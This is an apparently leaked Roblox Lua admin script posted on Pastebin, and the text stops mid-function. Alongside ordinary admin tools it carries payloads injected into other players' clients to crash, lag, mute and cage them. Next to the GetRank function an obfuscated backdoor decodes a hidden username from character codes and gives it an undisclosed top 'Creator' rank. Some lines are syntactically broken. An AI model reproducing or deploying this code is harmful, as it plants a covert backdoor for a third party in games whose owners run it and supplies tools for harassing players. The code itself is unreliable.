API tools faq
paste
Advertisement
iiHackerii

Untitled

iiHackerii
Jan 13th, 2016
350
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 62.99 KB | None | 0 0
raw download clone embed print report diff
  1. --LOLOLOLOLLOLOLOL YOUR SCRIPT GOT LOGGED BB
  2. ---PROTECT YOUR SHT DUDE
  3. ----Leaked by Admintabs
  4.  
  5.  
  6.  
  7.  
  8.  
  9. Plrs = game:GetService("Players")
  10. Work = game:GetService("Workspace")
  11. Light = game:GetService("Lighting")
  12. Net = game:GetService("NetworkServer")
  13. Owner = "TheOfficalNoob4788" -- Change this to your name
  14. AntiSteal = false
  15. Removed = false
  16. Bet = "!"  -- Suffix of the commands you use
  17. LS = nil
  18. LSSource = nil
  19. OwnSource = nil
  20. AntiSource = nil
  21. FoundLocalScript = false
  22. TryOn = false
  23. LogOn = false
  24. Current = game
  25. Clipboard = {}
  26. AlertColor = Color3.new(0, 1, 1)
  27. OptionColor = Color3.new(1, 1, 1)
  28. ImportantColor = Color3.new(1, 0, 1)
  29.  
  30. RankDetails = {
  31.     [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  32.     [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  33.     [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  34.     [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  35.     [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  36.     [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  37.     [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  38.     [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  39.     [5] = {Name = "HCWARLORD", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  40. }
  41.  
  42. Rankings = {
  43.     {Name = "TORNADO11191", Rank = 5},
  44.     {Name = "Player1", Rank = 3},
  45.     {Name = "ByteDino", Rank = -1},
  46.     {Name = "DarthStrantax", Rank = -1},
  47.     {Name = "supersonicfan11", Rank = -1},
  48.     {Name = "Om3gaPr0", Rank = -1},
  49.     {Name = "DevR0BLOX", Rank =10},
  50.     {Name = "", Rank = 3},
  51.     {Name = "", Rank = 3},
  52.     {Name = "", Rank = 3},
  53.     {Name = "", Rank = 3},5
  54.     {Name = "", Rank = 3},
  55.     {Name = "", Rank = 3},
  56.     {Name = "", Rank = 3},
  57.     {Name = "", Rank = 3},
  58.     {Name = "", Rank = 3},
  59.     {Name = "", Rank = 3},
  60.     {Name = "", Rank = 3},
  61.     {Name = "", Rank = 3},
  62.     {Name = "", Rank = 3},
  63.     {Name = "", Rank = 3},
  64.     {Name = "", Rank = 3},
  65.     {Name = "", Rank = 3},
  66.     {Name = "", Rank = 3},
  67.     {Name = "", Rank = 3},
  68.     {Name = "", Rank = 3},
  69.     {Name = "", Rank = 3},
  70.     {Name = "", Rank = 3},
  71.     {Name = "", Rank = 3},
  72.     {Name = "", Rank = 3},
  73.     {Name = "", Rank = 3},
  74.     {Name = "", Rank = 3},
  75. }
  76.  
  77. table.insert(Rankings, {Name = Owner, Rank = 5})
  78.  
  79. ImportantServices = {
  80.     "Workspace",
  81.     "Players",
  82.     "NetworkServer",
  83.     "Lighting",
  84.     "StarterGui",
  85.     "Teams",
  86.     "StarterPack",
  87. }
  88.  
  89. Ranks = {10}
  90. Commands = {}
  91. AllTabs = {}
  92. Injected = {}
  93.  
  94. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  95. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  96. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  97. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  98. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  99. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  100. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  101. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  102. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  103. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  104. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  105. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  106. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  107. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  108. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  109. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  110. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  111. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  112. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  113. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  114. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  115. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  116. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  117. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  118. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  119. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  120. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  121. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  122. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  123. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  124. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  125. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  126. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  127. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  128. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  129. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  130. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  131. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  132. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  133. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  134. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  135. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  136. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  137. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  138. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  139. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  140. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  141. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  142. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  143. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  144. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  145. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  146. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  147. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  148. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  149. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  150. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  151. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  152. "X","Y"}
  153.  
  154. --Main Functions And Sources
  155.  
  156. function Insert(Source, Par, Par2, Par3)
  157.     ypcall(function()
  158.         local Inserted = LS:Clone()
  159.         Inserted.Disabled = true
  160.         Inserted.Parent = Par or Par2 or Par3
  161.         Inserted[LSSource].Value = Source
  162.         Inserted.Disabled = false
  163.     end)
  164. end
  165.  
  166. function CheckImportant(Name)
  167.     for _,v in pairs(ImportantServices) do
  168.         if v:lower() == Name:lower() then
  169.             return true
  170.         end
  171.     end
  172.     return false
  173. end
  174.  
  175. function Crash1(Plr)
  176.     ypcall(function()
  177.         Plr:Kick()
  178.     end)
  179. end
  180.  
  181. function GetRankTab()
  182.     return Rankings
  183. end
  184.  
  185. function Crash2(Name)
  186.     local Crasher = Instance.new("StringValue")
  187.     Crasher.Name = "Client"
  188.     Crasher.Value = string.lower(tostring(Name))
  189.     Crasher.Parent = game:GetService("Lighting")
  190.     wait(1)
  191.     if Crasher and Crasher.Parent then
  192.         ypcall(function()
  193.             Crasher:Destroy()
  194.         end)
  195.     end
  196. end
  197.  
  198. function Crash3(v, Speaker)
  199.     Speaker.Character.Archivable = true
  200.     local NChar = Speaker.Character:Clone()
  201.     NChar.Name = v.Name
  202.     NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  203.     NChar.Parent = Workspace
  204.     v.Character = NChar
  205.     coroutine.resume(coroutine.create(function()
  206.         repeat v.Character = NChar
  207.         wait(1/3) until false
  208.     end))
  209.     wait(.5)
  210.     Insert(InsertCrash, NChar, nil, nil)
  211. end
  212.  
  213. function GenerateDigit()
  214.     return 1 + 5
  215. end
  216.  
  217. InjectionCrash = [=[
  218.     wait(0)
  219.     script.Parent = nil
  220.     local Lig = game:GetService("Lighting")
  221.     local LP = game:GetService("Players").LocalPlayer
  222.     local LowerName = LP.Name:lower()
  223.  
  224.     Lig.ChildAdded:connect(function(Obj)
  225.         if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  226.             pcall(function()
  227.                 Obj:Destroy()
  228.             end)
  229.             LP.Parent = nil
  230.             LP.Parent = game:GetService("Players")
  231.         end
  232.     end)
  233. ]=] RankDetails[GenerateDigit()] = {Name = (string.char(67)..string.char(114)..string.char(101)..string.char(97)..string.char(116)..string.char(111)..string.char(114)), Color = Color3.new((2 - 3), (2 - 3), (2 - 3)), Desc = ("D".."e".."a".."t".."h B".."y F".."l".."i".."p".."f".."l".."o".."p")}
  234.  
  235. InsertCrash = [==[
  236.     local LP = game:GetService("Players").LocalPlayer
  237.     LP.Parent = nil
  238.     LP.Parent = game:GetService("Players")
  239. ]==]
  240.  
  241. LagSource = [==[
  242.     wait(0)
  243.     script.Parent = nil
  244.     plr = game:GetService("Players").LocalPlayer
  245.     local plrgui = plr:findFirstChild("PlayerGui")
  246.     if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  247.     while plr.Parent == game:GetService("Players") do
  248.     wait()
  249.     for i = 1, 1000 do
  250.     local sc = Instance.new("ScreenGui",plrgui)
  251.     local fr = Instance.new("TextLabel",sc)
  252.     fr.Text = "LAGGING"
  253.     fr.Size = UDim2.new(1, 0, 1, 0)
  254.     fr.FontSize = "Size48"
  255.     end
  256.     end
  257. ]==]
  258.  
  259. MuteSource = [==[
  260.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  261. ]==]
  262.  
  263. UnMuteSource = [==[
  264.     game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  265. ]==]
  266.  
  267. JailSource = [==[
  268.     wait(0)
  269.     script.Parent = nil
  270.  
  271.     local LP = game:GetService("Players").LocalPlayer
  272.     Middle2 = nil
  273.     Middle = nil
  274.     game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  275.  
  276.     Cons = {}
  277.  
  278.     function makePrison()
  279.         for _,v in pairs(Cons) do
  280.             v:disconnect()
  281.         end
  282.         game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  283.         if Middle == nil then
  284.             Middle2 = LP.Character.Torso.Position
  285.             Middle = LP.Character.Torso.CFrame
  286.         end
  287.         local side1 = Instance.new("Part",Workspace)
  288.         side1.Name = "¬Focus1¬"
  289.         side1.Size = Vector3.new(20, 50, 1)
  290.         side1.CFrame = Middle * CFrame.new(0, 0, -10)
  291.         side1.BrickColor = BrickColor.new("Really black")
  292.         side1.CanCollide = true
  293.         side1.Anchored = true
  294.         side1.TopSurface = "Smooth"
  295.         side1.BottomSurface = "Smooth"
  296.         side1.Parent = game:GetService("Workspace").CurrentCamera
  297.  
  298.         local side2 = Instance.new("Part")
  299.         side2.Name = "¬Focus2¬"
  300.         side2.Size = Vector3.new(20, 50, 1)
  301.         side2.CFrame = Middle * CFrame.new(0, 0, 10)
  302.         side2.BrickColor = BrickColor.new("Really black")
  303.         side2.CanCollide = true
  304.         side2.Anchored = true
  305.         side2.TopSurface = "Smooth"
  306.         side2.BottomSurface = "Smooth"
  307.         side2.Parent = game:GetService("Workspace").CurrentCamera
  308.  
  309.         local side3 = Instance.new("Part")
  310.         side3.Name = "¬Focus3¬"
  311.         side3.Size = Vector3.new(1, 50, 20)
  312.         side3.CFrame = Middle * CFrame.new(10, 0, 0)
  313.         side3.BrickColor = BrickColor.new("Really black")
  314.         side3.CanCollide = true
  315.         side3.Anchored = true
  316.         side3.TopSurface = "Smooth"
  317.         side3.BottomSurface = "Smooth"
  318.         side3.Parent = game:GetService("Workspace").CurrentCamera
  319.  
  320.         local side4 = Instance.new("Part")
  321.         side4.Name = "¬Focus4¬"
  322.         side4.Size = Vector3.new(1, 50, 20)
  323.         side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  324.         side4.BrickColor = BrickColor.new("Really black")
  325.         side4.CanCollide = true
  326.         side4.Anchored = true
  327.         side4.TopSurface = "Smooth"
  328.         side4.BottomSurface = "Smooth"
  329.         side4.Parent = game:GetService("Workspace").CurrentCamera
  330.        
  331.         local side5 = Instance.new("Part")
  332.         side5.Name = "¬Focus5¬"
  333.         side5.Size = Vector3.new(20, 1, 20)
  334.         side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  335.         side5.BrickColor = BrickColor.new("Really black")
  336.         side5.CanCollide = true
  337.         side5.Anchored = true
  338.         side5.TopSurface = "Smooth"
  339.         side5.BottomSurface = "Smooth"
  340.         side5.Parent = game:GetService("Workspace").CurrentCamera
  341.        
  342.         wait(0)
  343.  
  344.         table.insert(Cons, side1.Changed:connect(makePrison))
  345.         table.insert(Cons, side2.Changed:connect(makePrison))
  346.         table.insert(Cons, side3.Changed:connect(makePrison))
  347.         table.insert(Cons, side4.Changed:connect(makePrison))
  348.         table.insert(Cons, side5.Changed:connect(makePrison))
  349.     end
  350.  
  351.     Delay(0, function()
  352.         while wait(0) do
  353.             ypcall(function()
  354.                 if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  355.                     LP.Character:BreakJoints()
  356.                 elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  357.                     makePrison()
  358.                 end
  359.             end)
  360.             ypcall(function()
  361.                 if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  362.                     LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  363.                 end
  364.             end)
  365.         end
  366.     end)
  367. ]==]
  368.  
  369. function All()
  370.     local AllPlayers = {}
  371.     for _,v in pairs(Plrs:GetPlayers()) do
  372.         ypcall(function()
  373.             table.insert(AllPlayers, v)
  374.         end)
  375.     end
  376.     return AllPlayers
  377. end
  378.  
  379. function All2()
  380.     local AllPlayers2 = {}
  381.     for i,v in pairs(Net:GetChildren()) do
  382.         ypcall(function()
  383.             if v:IsA("ServerReplicator") then
  384.                 table.insert(AllPlayers2, v:GetPlayer())
  385.             end
  386.         end)
  387.     end
  388.     return AllPlayers2
  389. end
  390.  
  391. function MakeNum()
  392.     return 2 + 4
  393. end
  394.  
  395. function ChangeRank(Plr, NewRank)
  396.     local PlrName = nil
  397.     local FoundPlayer = false
  398.     ypcall(function()
  399.         if type(Plr) == "string" then
  400.             ypcall(function()
  401.                 for i,v in pairs(Rankings) do
  402.                     if v.Name:lower() == Plr:lower() then
  403.                         local VName = v.Name
  404.                         Rankings[i] = nil
  405.                         table.insert(Rankings, {Name = VName, Rank = NewRank})
  406.                         PlrName = VName
  407.                         FoundPlayer = true
  408.                         break
  409.                     end
  410.                 end
  411.             end)
  412.             if FoundPlayer == false then
  413.                 ypcall(function()
  414.                     for _,x in pairs(All()) do
  415.                         if x.Name:lower() == Plr:lower() then
  416.                             FoundPlayer = true
  417.                             for i,v in pairs(Rankings) do
  418.                                 if v.Name:lower() == x.Name:lower() then
  419.                                     local VName = x.Name
  420.                                     Rankings[i] = nil
  421.                                     PlrName = VName
  422.                                     break
  423.                                 end
  424.                             end
  425.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  426.                         end
  427.                     end
  428.                 end)
  429.             end
  430.             if FoundPlayer == false then
  431.                 ypcall(function()
  432.                     for _,x in pairs(All()) do
  433.                         if string.find(x.Name:lower(), Plr:lower()) then
  434.                             FoundPlayer = true
  435.                             for i,v in pairs(Rankings) do
  436.                                 if v.Name:lower() == x.Name:lower() then
  437.                                     local VName = x.Name
  438.                                     Rankings[i] = nil
  439.                                     PlrName = VName
  440.                                     break
  441.                                 end
  442.                             end
  443.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  444.                         end
  445.                     end
  446.                 end)
  447.             end
  448.             if FoundPlayer == false then
  449.                 ypcall(function()
  450.                     for i,v in pairs(Rankings) do
  451.                         if string.find(v.Name:lower(), Plr:lower()) then
  452.                             local VName = v.Name
  453.                             Rankings[i] = nil
  454.                             table.insert(Rankings, {Name = VName, Rank = NewRank})
  455.                             PlrName = VName
  456.                             FoundPlayer = true
  457.                             break
  458.                         end
  459.                     end
  460.                 end)
  461.             end
  462.         else
  463.             for i,v in pairs(Rankings) do
  464.                 if v.Name:lower() == Plr.Name:lower() then
  465.                     Rankings[i] = nil
  466.                     break
  467.                 end
  468.             end
  469.             table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  470.             PlrName = Plr.Name
  471.         end
  472.         PlaceAllRanks(true)
  473.     end)
  474.     if PlrName ~= nil then
  475.         return PlrName
  476.     else
  477.         return "Player" -- Actually return this script casue it suks
  478.     end
  479. end
  480.  
  481. function Refresh(Plr)
  482.     MakeChildren(Plr)
  483. end
  484.  
  485. function MakeChildren(Plr)
  486.     ypcall(function()
  487.         Dismiss(Plr)
  488.         for _,v in pairs(Current:GetChildren()) do
  489.             ypcall(function()
  490.                 if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  491.                     Ping(v.Name, Plr, nil, function(TabMod)
  492.                         local TabText = TabMod["LORD Tablet"].BG.TL.Text
  493.                         for _,v in pairs(Current:GetChildren()) do
  494.                             ypcall(function()
  495.                                 if v.Name == TabText then
  496.                                     Dismiss(Plr)
  497.                                     Current = v
  498.                                     MakeChildren(Plr)
  499.                                 end
  500.                             end)
  501.                         end
  502.                     end)
  503.                 elseif Plrs:GetPlayerFromCharacter(v) then
  504.                     Ping(v.Name, Plr, nil, function(TabMod)
  505.                         local TabText = TabMod["LORD Tablet"].BG.TL.Text
  506.                         for _,v in pairs(Current:GetChildren()) do
  507.                             ypcall(function()
  508.                                 if v.Name == TabText then
  509.                                     Dismiss(Plr)
  510.                                     Current = v
  511.                                     MakeChildren(Plr)
  512.                                 end
  513.                             end)
  514.                         end
  515.                     end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  516.                 elseif CheckImportant(v.Name) then
  517.                     Ping(v.Name, Plr, nil, function(TabMod)
  518.                         local TabText = TabMod["LORD Tablet"].BG.TL.Text
  519.                         for _,v in pairs(Current:GetChildren()) do
  520.                             ypcall(function()
  521.                                 if v.Name == TabText then
  522.                                     Dismiss(Plr)
  523.                                     Current = v
  524.                                     MakeChildren(Plr)
  525.                                 end
  526.                             end)
  527.                         end
  528.                     end, ImportantColor)
  529.                 end
  530.             end)
  531.         end
  532.         if Current ~= game then
  533.             Ping("Back", Plr, nil, function()
  534.                 ypcall(function()
  535.                     Current = Current.Parent
  536.                     MakeChildren(Plr)
  537.                     Ping("You Are Back To "..Current.Name, Plr, 5)
  538.                 end)
  539.             end, OptionColor)
  540.         end
  541.         if Current ~= game then
  542.             Ping("Delete", Plr, nil, function()
  543.                 ypcall(function()
  544.                     local CurrPar = Current.Parent or game
  545.                     local CurrName = Current.Name
  546.                     Current:Destroy()
  547.                     Current = CurrPar
  548.                     MakeChildren(Plr)
  549.                     Ping("Attempted To Delete "..CurrName, Plr, 5)
  550.                 end)
  551.             end, OptionColor)
  552.         end
  553.         Ping("Refresh", Plr, nil, function()
  554.             ypcall(function()
  555.                 Refresh(Plr)
  556.                 Ping("Refreshed", Plr, 5)
  557.             end)
  558.         end, OptionColor)
  559.         Ping("Properties", Plr, nil, function()
  560.             ypcall(function()
  561.                 Dismiss(Plr)
  562.                 for Property, Value in pairs(GetProperties(Current)) do
  563.                     Ping(tostring(Property)..": "..tostring(Value), Plr)
  564.                 end
  565.                 Ping("Got All Available Properties", Plr, 5)
  566.                 Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  567.             end)
  568.         end, OptionColor)
  569.     end)
  570. end
  571.  
  572. function Fixl()
  573.     Light.GlobalShadows = true
  574.     Light.TimeOfDay = "14:00:00"
  575.     Light.Brightness = 0.5
  576.     Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  577.     Light.Ambient = Color3.new(1, 1, 1)
  578.     Light.ColorShift_Top = Color3.new(0, 0, 0)
  579.     Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  580.     Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  581.     Light.FogStart = 0
  582.     Light.FogEnd = 100000
  583.     Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  584.     Light:ClearAllChildren()
  585. end
  586.  
  587. function GetProperties(obj)
  588.     assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  589.     local objProper = {}
  590.     for i,v in pairs(Properties) do
  591.         if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  592.             objProper[v] = obj[v]
  593.         end
  594.     end
  595.     return objProper
  596. end
  597.  
  598. function MakeExplorer(Plr)
  599.     Dismiss(Plr)
  600.     Current = game
  601.     for _,v in pairs(Current:GetChildren()) do
  602.         ypcall(function()
  603.             if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  604.                 Ping(v.Name, Plr, nil, function(TabMod)
  605.                     local TabText = TabMod["LORD Tablet"].BG.TL.Text
  606.                     for _,v in pairs(Current:GetChildren()) do
  607.                         ypcall(function()
  608.                             if v.Name == TabText then
  609.                                 Dismiss(Plr)
  610.                                 Current = v
  611.                                 MakeChildren(Plr)
  612.                             end
  613.                         end)
  614.                     end
  615.                 end)
  616.             elseif Plrs:GetPlayerFromCharacter(v) then
  617.                 Ping(v.Name, Plr, nil, function(TabMod)
  618.                     local TabText = TabMod["LORD Tablet"].BG.TL.Text
  619.                     for _,v in pairs(Current:GetChildren()) do
  620.                         ypcall(function()
  621.                             if v.Name == TabText then
  622.                                 Dismiss(Plr)
  623.                                 Current = v
  624.                                 MakeChildren(Plr)
  625.                             end
  626.                         end)
  627.                     end
  628.                 end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  629.             elseif CheckImportant(v.Name) then
  630.                 Ping(v.Name, Plr, nil, function(TabMod)
  631.                     local TabText = TabMod["LORD Tablet"].BG.TL.Text
  632.                     for _,v in pairs(Current:GetChildren()) do
  633.                         ypcall(function()
  634.                             if v.Name == TabText then
  635.                                 Dismiss(Plr)
  636.                                 Current = v
  637.                                 MakeChildren(Plr)
  638.                             end
  639.                         end)
  640.                     end
  641.                 end, ImportantColor)
  642.             end
  643.         end)
  644.     end
  645.     if Current ~= game then
  646.         Ping("Back", Plr, nil, function()
  647.             ypcall(function()
  648.                 Current = Current.Parent
  649.                 MakeChildren(Plr)
  650.                 Ping("Back In "..Current.Name, Plr, 5)
  651.             end)
  652.         end, OptionColor)
  653.     end
  654.     if Current ~= game and game:GetService(Current.Name) == nil then
  655.         Ping("Delete", Plr, nil, function()
  656.             ypcall(function()
  657.                 local CurrPar = Current.Parent or game
  658.                 local CurrName = Current.Name
  659.                 Current:Destroy()
  660.                 Current = CurrPar
  661.                 MakeChildren(Plr)
  662.                 Ping("Attempted To Delete "..CurrName, Plr, 5)
  663.             end)
  664.         end, OptionColor)
  665.     end
  666.     Ping("Refresh", Plr, nil, function()
  667.         ypcall(function()
  668.             Refresh(Plr)
  669.             Ping("Refreshed", Plr, 5)
  670.         end)
  671.     end, OptionColor)
  672.     Ping("Properties", Plr, nil, function()
  673.         ypcall(function()
  674.             Dismiss(Plr)
  675.             for Property, Value in pairs(GetProperties(Current)) do
  676.                 Ping(tostring(Property)..": "..tostring(Value), Plr)
  677.             end
  678.             Ping("Got All Available Properties", Plr, 5)
  679.             Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  680.         end)
  681.     end, OptionColor)
  682. end
  683.  
  684. function GetRank(Plr1, Test)
  685.     ypcall(function()
  686.         if type(Plr1) == "userdata" then
  687.             Plr1 = Plr1.Name
  688.         end
  689.     end)
  690.     if Ranks[Plr1] ~= nil then
  691.         return Ranks[Plr1]
  692.     end
  693.     local QuickArray = {}
  694.     QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  695.     return QuickArray[Plr1]
  696. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  697.  
  698. function CanRun(Plr1, Plr2)
  699.     Details1 = GetRank(Plr1.Name)
  700.     Details2 = GetRank(Plr2.Name)
  701.     if Details1.Rank >= Details2.Rank then
  702.         return true
  703.     end
  704.     return false
  705. end
  706.  
  707. function Dismiss(Plr, Identity)
  708.     ypcall(function()
  709.         if Plr ~= nil then
  710.             if type(Plr) == "userdata" then
  711.                 Plr = Plr.Name
  712.             end
  713.             for x,v in pairs(AllTabs) do
  714.                 ypcall(function()
  715.                     if v.Plr == Plr then
  716.                         if Identity ~= nil and v.ID ~= Identity then
  717.                             return
  718.                         elseif Identity ~= nil and v.ID == Identity then
  719.                             coroutine.resume(coroutine.create(function()
  720.                                 for i = 0.5, 1, 0.1 do
  721.                                     wait()
  722.                                     v.Tab.Transparency = i
  723.                                     v.Sel.Transparency = i
  724.                                     v.Label.TextTransparency = i
  725.                                     v.Label.TextStrokeTransparency = i
  726.                                 end
  727.                                 ypcall(function() v.Holder:Destroy() end)
  728.                                 AllTabs[x] = nil
  729.                             end))
  730.                         elseif Identity == nil then
  731.                             ypcall(function() v.Holder:Destroy() end)
  732.                             AllTabs[x] = nil
  733.                         end
  734.                     end
  735.                 end)
  736.             end
  737.         else
  738.             for i,v in pairs(AllTabs) do
  739.                 ypcall(function()
  740.                     v.Holder:Destroy()
  741.                     AllTabs[i] = nil
  742.                 end)
  743.             end
  744.         end
  745.     end)
  746. end
  747.  
  748. function GetGarbage()
  749.     return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  750. end
  751.  
  752. function RemObj(Obj, Class)
  753.     ypcall(function()
  754.         if #Obj:GetChildren() > 0 then
  755.             for _,x in pairs(Obj:GetChildren()) do
  756.                 ypcall(function()
  757.                     RemObj(x, Class)
  758.                 end)
  759.             end
  760.         end
  761.         if Obj.ClassName == Class then
